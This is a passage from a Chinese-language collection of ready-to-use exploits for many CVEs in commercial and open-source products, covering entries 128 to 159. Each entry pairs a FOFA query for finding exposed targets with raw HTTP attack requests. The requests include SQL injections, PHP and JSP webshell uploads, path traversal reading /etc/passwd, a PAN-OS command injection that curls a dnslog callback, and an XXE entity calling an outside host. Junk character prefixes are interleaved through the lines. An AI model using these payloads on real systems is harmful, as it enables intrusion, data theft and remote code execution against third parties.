<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
+ _! M5 _/ o6 d. M: ^>
  p  r! b( f& n, s$ Q<test>&t;</test>
/ j% n/ ~. @8 |% a1 S3 \------WebKitFormBoundaryJGgV5l5ta05yAIe0--
3 V3 i: `9 H( G! b; G

3 Z2 A5 n) Q6 Q, b+ y5 l, o/ {
) m! N5 u9 E; S! o5 V128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
9 h# v: N# k5 S3 s. mFOFA：app="Adobe-ColdFusion"
9 q( W9 \4 L9 Q7 V2 KPAYLOAD

) D6 z' @5 d$ e1 F3 Q! W4 ~, X129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
- I$ i) z2 a! }8 `) wFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
8 a$ u5 u" p- o0 o, Z第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
; e, G$ j$ Q5 }5 _Accept-Encoding: gzip, deflate
Connection: close
' g# A, q. x9 D) L& k

; E$ V$ b& b3 Y第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
  h: {, E3 P$ s+ kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
" o+ `) q7 O) \( z! R$ guuid: 85f60018-a654-4410-a783-f81cbd5000b9

( _* o, b+ u* v. `
4 G) r* b9 _: M" _$ Q. V130. Laykefu客服系统任意文件上传
! Y+ Y" t9 q4 e2 s& T0 YFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
) \. m. e0 P! b( [1 UHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
4 W( _* j6 v  W& f, x% |" XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
$ ~4 n( A3 x) N) }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
9 d. N# d& ]6 \5 O$ }7 N; _Connection: close

9 X! \& O: J% @2 S------WebKitFormBoundary3OCVBiwBVsNuB2kR
/ i2 S) [1 b2 l+ G& |1 ~  ^0 gContent-Disposition: form-data; name="file"; filename="1.php"
3 A6 V- `1 I# k( MContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
+ Q0 R0 i7 T, A/ I5 l------WebKitFormBoundary3OCVBiwBVsNuB2kR--
) R; P. T7 v6 s: ?0 _
" [- T. C0 P/ X, a$ D
131. Mini-Tmall <=20231017 SQL注入
. E1 G6 J6 Y$ Z0 v$ o6 ]" N# _FOFA：icon_hash="-2087517259"
7 V5 W5 V7 T4 Y$ h" s- ?后台地址：http://localhost:8080/tmall/admin
5 s# H7 ~, H* }6 I3 r& h2 `http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

' s$ F% H. g& G6 Q132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& U( v, C  N/ _. w* ]6 Q1 D* u1 oAccept: */*
& ~  v( T; X) V4 e; t1 e$ o5 rContent-Type: application/json
# C# E: F& I! Y% H0 |Accept-Encoding: gzip, deflate
1 H' u% [9 m! z6 _6 C
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

: [9 b+ P- ~& }: ?6 X
CVE-2024-27199
/res/../admin/diagnostic.jsp
! R& ^2 ]( Z" }. w6 v4 n, }/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
8 ]; f: ?; l4 D3 {

. @2 e! C. W: |0 z9 k: `CVE-2024-27198-RCE.py

8 o. |) N( N. x1 J133. H5 云商城 file.php 文件上传
  {- B8 o  t5 JFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

" y$ h: b/ Q8 d1 L& U------WebKitFormBoundaryFQqYtrIWb8iBxUCx
4 }' `/ d9 b3 cContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

) Y) d4 B) u* e<?php system("cat /etc/passwd");unlink(__FILE__);?>
, m/ e. K% K7 ^0 v. C0 E------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
" H8 [3 F3 G: z$ P7 \- O
5 ~- t* d# Q" G  N6 p1 M
% k2 F9 A  X9 W0 z5 F( v$ t
- i: C& e* O- p9 ^) u6 q134. 网康NS-ASG应用安全网关index.php sql注入
/ d, @* ?: n1 L, i! C% f3 v5 fCVE-2024-2330
/ r/ E1 |* c9 y. aNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
# r# K' Z% ^5 n) [Host: x.x.x.x
1 U/ z) Y0 x/ x/ `. G( [1 OCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
9 P6 v, J% P. V1 p* |1 @# fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 k8 j; @! D( N3 hAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
7 k7 z3 g7 p- z/ aSec-Fetch-Site: same-origin
Te: trailers
8 s* J$ o2 W$ u% R  z2 CConnection: close
Content-Type: application/x-www-form-urlencoded
+ u. M1 _# s- VContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
( A/ W; ~# v; ?, uCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
0 }" @$ Y4 w& w6 g' c! g% I  _# kGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; C3 |' J$ Q% ?, e# wAccept-Language: zh-CN,zh;q=0.9
* S0 b) X+ B& `& kConnection: close

( U: U) Z* X( e0 X1 U% A" ]
136. NextChat cors SSRF
- A( n- H$ k4 t. r7 T2 cCVE-2023-49785
$ h+ I) g# u. O% G% e) k" y. dFOFA：title="NextChat"
% Y, l. T+ ?  L# O1 [; E; V% r0 }) RGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
! G% ^& _# N. v& e% aHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ u8 E0 v% N. G" u/ MConnection: close
Accept: */*
( f+ S. I  J) n2 z- }( ?Accept-Language: en
+ q. J2 i; e0 z" tAccept-Encoding: gzip

; i) k: t3 P9 Z+ Y2 W: b2 [. Y8 g# p
137. 福建科立迅通信指挥调度平台down_file.php sql注入
' @5 F0 ?3 a5 g3 y  i- VCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 P# e2 O, g' }7 f/ JGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* t1 P( ~4 {# o) z4 p: BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 d/ w: z4 t  M6 I& f* v$ U9 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  T. f  W3 C0 Y7 }Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
# S9 O( G4 V$ w7 ~( fUpgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
# E8 a* V2 g! {1 ~0 l. {. P9 T! ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 H9 T, w8 L1 N- t) e' B, V4 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 a! E, c/ G: p. N/ ~3 }0 LAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
6 C  n1 X1 I2 S1 t* i5 Z

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
- `& {6 {( B, h! V6 lCVE-2024-2622
0 P1 X6 `. A* I# ?5 OFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
" ~2 m9 e' n8 l* CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 n9 V6 D4 k+ vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
1 x7 P( d7 @) ~0 F5 j/ p/ kCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
5 @) n& N4 \+ M3 Z4 D2 BUpgrade-Insecure-Requests: 1
' |( h2 Y3 t6 ?! }$ o1 Q& G
0 w" N" E- S% K; _5 T
& t7 E/ H9 i8 K: T140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
2 D6 ?. X/ Q7 h$ X+ f2 tFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% a$ b8 I9 E9 Y* L5 u6 X1 HGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
9 ]/ `* j7 [! YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( M' s9 q8 g' x3 q- ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ }0 D' r  T5 }' ?Connection: close
Cookie: authcode=h8g9
& z+ X. m1 }- i" RUpgrade-Insecure-Requests: 1
! g- U! ]5 b1 v% t) M8 `7 ?
* B% K& I5 M" K
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
: C' D9 _2 u1 O  D4 o* o  NPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
' M) u. ?: @% h0 EContent-Type: application/x-www-form-urlencoded
7 Z0 F) a8 }' _8 @& i! [" M3 \- |
) Q: Y" _& R- P
  W+ E- }! b; [& u  ]7 rdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

/ G$ g- [& z% A9 c+ x$ D$ Z! ~7 r7 e
2 p3 A$ p0 n) u4 w4 O142. CMSV6车辆监控平台系统中存在弱密码
4 c0 n( r+ p8 I8 y" N) dCVE-2024-29666
& \" l/ w9 V2 K8 X- [7 q& R: c( [FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
" N% A( M4 [8 C9 A5 aCVE-2024-25850
5 [) m8 v; l% Y% iFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
, |. s: U: B- `9 R4 Qsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
* J3 j. L; v3 ]2 t( W$ HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
1 r  y" y' o  j' [& X7 mAccept: */*
Accept-Language: en
+ K( U/ i. |5 C* cAccept-Encoding: gzip


! U0 v' I0 V% G145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
  r: Q9 v0 p- c+ r& {8 `+ DHost: 192.168.30.112:1005
  G+ |) I4 O, d6 `$ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
; d! z% y2 X- J1 h/ k$ g) ]Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
& d/ j/ p! D; E$ u0 YAccept-Charset: utf-8
6 D* G& b9 D* o+ t: HAccept-Encoding: gzip, deflate
( t; i& Q) |- V- S" m3 eConnection: close

. F# s: A+ i. S, j+ m5 P
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
8 A  W8 f: D& `' H/ P: cGET /webeditor/../../../windows/win.ini HTTP/1.1
2 q0 H# M* n! }( I$ A; E, m' E' jHost: 127.0.0.1:81
Cache-Control: max-age=0
1 B% L& h; t! f( ^' _3 D# {- vConnection: close
# y* @5 o$ L3 w+ F+ w
  ?) K0 y- |* O5 G
148. CrushFTP 认证绕过模板注入
& q* g- O4 P5 c2 ]; c- DCVE-2024-4040
' ^) ?( j( C" DFOFA：body="CrushFTP"
PAYLOAD

$ n" T- W. \- v+ f. z! k% E/ C" i149. AJ-Report开源数据大屏存在远程命令执行
* Q) T6 b3 h: G( O4 L7 k4 PFOFA：title="AJ-Report"
9 v5 ~) T  c) U8 }6 _- |
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+ Y5 s- f/ C- n9 X7 EHost: x.x.x.x
4 g; }+ `0 O( }: Z( P! q4 C; hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 e+ `8 i, d7 P/ \9 UAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
8 N( U: H$ I% M) N! Q3 w6 ^Connection: close
' v  e/ }, Z8 W1 e2 r* P
5 {+ D! o8 e/ `# R{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

8 b  F8 T1 u' h( t, ^3 p150. AJ-Report 1.4.0 认证绕过与远程代码执行
& |) b" A0 Y; {+ n+ X: h+ i, k( r5 kFOFA：title="AJ-Report"
9 A$ M% a2 Z0 b6 W- x2 {* ^, @POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 T, ^! ?$ K5 j8 uAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
/ d7 Z9 L9 D3 H8 N6 F5 T. SContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
5 P  y  |+ l" T# l7 L( _( T
( S% ^9 k0 V; r{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

2 p1 y+ e$ ]" @8 ]5 F
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
+ }1 P+ F8 F+ ?! e( J' xHost: x.x.x.x
( E# Q  B/ l  e' \+ ~# G: `7 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# S3 S) {4 |& u  aConnection: close
0 j5 _; U0 K* D) B  S+ I: h* J1 w" aAccept-Encoding: gzip

( B/ f+ M/ _* l( B/ s, X$ m7 x
/ X: e' z0 ~/ g% W* w) W) X152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
+ w( t+ C$ X1 ?0 `: H( {4 p8 [- `% vLoadMaster <= 7.2.59.2 (GA)
: r- S( _# u( c; X" X4 l# K0 D+ fLoadMaster<=7.2.54.8 (LTSF)
: N- I% z; K! e, y  N' d, ILoadMaster <= 7.2.48.10 (LTS)
2 D/ L, g1 L$ W9 l  s! wFOFA：body="LoadMaster"
2 ^# d. p9 O  f4 A. I( h9 y* i$ y/ pJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
; }9 i+ {1 ?# f) LConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
# X% h! t+ X7 CAccept-Encoding: gzip
" J1 p6 {* D) O2 b- R' u4 q/ _
4 M+ I- Q3 S$ B& g( g6 l
0 R# t/ W) K4 C% _. K  J; b3 T+ g153. gradio任意文件读取
0 ]+ H0 Y, ^8 A$ j2 m6 cCVE-2024-1561FOFA：body="__gradio_mode__"
2 b) B1 M  r, S( V" q3 @第一步，请求/config文件获取componets的id
+ q- ^6 I# @% R" {' |http://x.x.x.x/config

/ B. T- u, i8 ?5 }8 ]
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
& H, N4 i+ S' o0 C. B+ ZHost: x.x.x.x
/ F  S; y! k# j6 [* R& X. X  q2 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
+ X7 [2 ~2 \. M0 o9 G) U7 d6 hConnection: close
5 A3 B6 _! i6 g" u( A( mContent-Length: 115
9 _; K/ D# \7 d: K. IContent-Type: application/json
- A8 p2 x* x2 v/ ^1 OAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
- x2 g/ ~' D# I0 E

1 A  m# q( u' ^1 G# w2 q9 x第三步访问
8 m  c- W3 r5 Q5 ^, f' v' ~http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

8 Y- u3 @( u- x2 w/ ~7 @# E
$ x9 U  B: ]( ?154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
2 {. z  E7 I' a% D8 J1 ?/ OPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
/ W. g" A: `( H5 x. oHost: x.x.x.x
0 L  L- u! f  O$ [* O# |Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
* j. ^; Q/ P7 I5 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
% _$ T; P- o! A* Z/ pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
1 }3 Y% j* F7 S0 D) E& l( S3 E
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
- C! ~! I& }6 Q5 {. |' x

155. 六零导航页 file.php 任意文件上传
2 U3 v$ k) E+ D3 LCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
+ e0 P+ C8 {7 v% b" Y1 kHost: x.x.x.x
- T2 \) E$ @' RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
9 E1 C* _+ @$ F7 V9 dAccept: application/json, text/javascript, */*; q=0.01
2 V9 z; S) X+ H4 \4 LAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

0 Z) [. E: ^( ^- T; T" i  Y-----------------------------qttl7vemrsold314zg0f
" ]; H$ p# k7 Z: V3 m8 e. AContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
4 N& C- [- A: r+ X
" }. S) p6 w8 r# q<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
& S- n4 n% s7 F' Z7 c' q: u
, f/ w* e0 m. |9 y  K% p/ U
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

" f* x# o, N+ a& o3 D! d" R# S156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
% i; m) m7 `5 R8 J2 Ecurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# N6 [, x0 p! U- r  G9 k
  B2 E4 a% @2 h9 h6 q  V, [  e6 K
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
4 x0 N6 m- z$ ~; G- GUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
- v, g% |$ T3 Z4 `/ N. P, t, OCookie: uid=1
Accept-Encoding: gzip


/ t9 D6 T7 z' H' v+ g157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
0 o, m3 ^, _# [# XFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 y5 Y3 A' C* b0 a  E$ @7 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
; P# z$ I* @' G) v* ?  ?
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

; w, F3 ]8 {+ {# {9 r1 Gnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
* S  z9 E1 _- K4 Y" s+ `! fContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

2 b1 k6 S+ O( J4 o0 [null
% M: G; e; g7 U( {2 g& [) G------WebKitFormBoundary1imovELzPsfzp5dN
$ M" S/ l3 X6 n* }& vContent-Disposition: form-data; name="field"
$ P8 W. t: }3 h) b9 G# t, z
" t% M2 Z& {" }; r9 u  y! fnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
( Q0 ?- `- }% w- f9 t
null
1 P, ]5 I% C9 e  p; M* l9 S------WebKitFormBoundary1imovELzPsfzp5dN
/ q% D$ j" i( o) |& q& Q# b7 }Content-Disposition: form-data; name="filefolder"
% S* M: T' C5 G  k" \
null
------WebKitFormBoundary1imovELzPsfzp5dN--
5 H; ]. p/ l2 j6 t& |3 B8 i

2 w: {9 d7 R+ c" U/ fhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

* t* |. g3 w2 i6 K  A+ G  \- o, f158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
+ D$ `. _% c& W- p3 K4 r7 NPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
7 L& d" Z* ^! J+ \Content-Type: application/x-www-form-urlencoded

" X; n' M$ ^. ?( Eobject=displayregion&contenthistid=x\'&previewid=1
. p8 V" t' b* Z. l: a

2 o; D, K9 J! L; f8 h8 k159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
( L, z6 D( ]1 d" ^! U6 B4 |' FFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
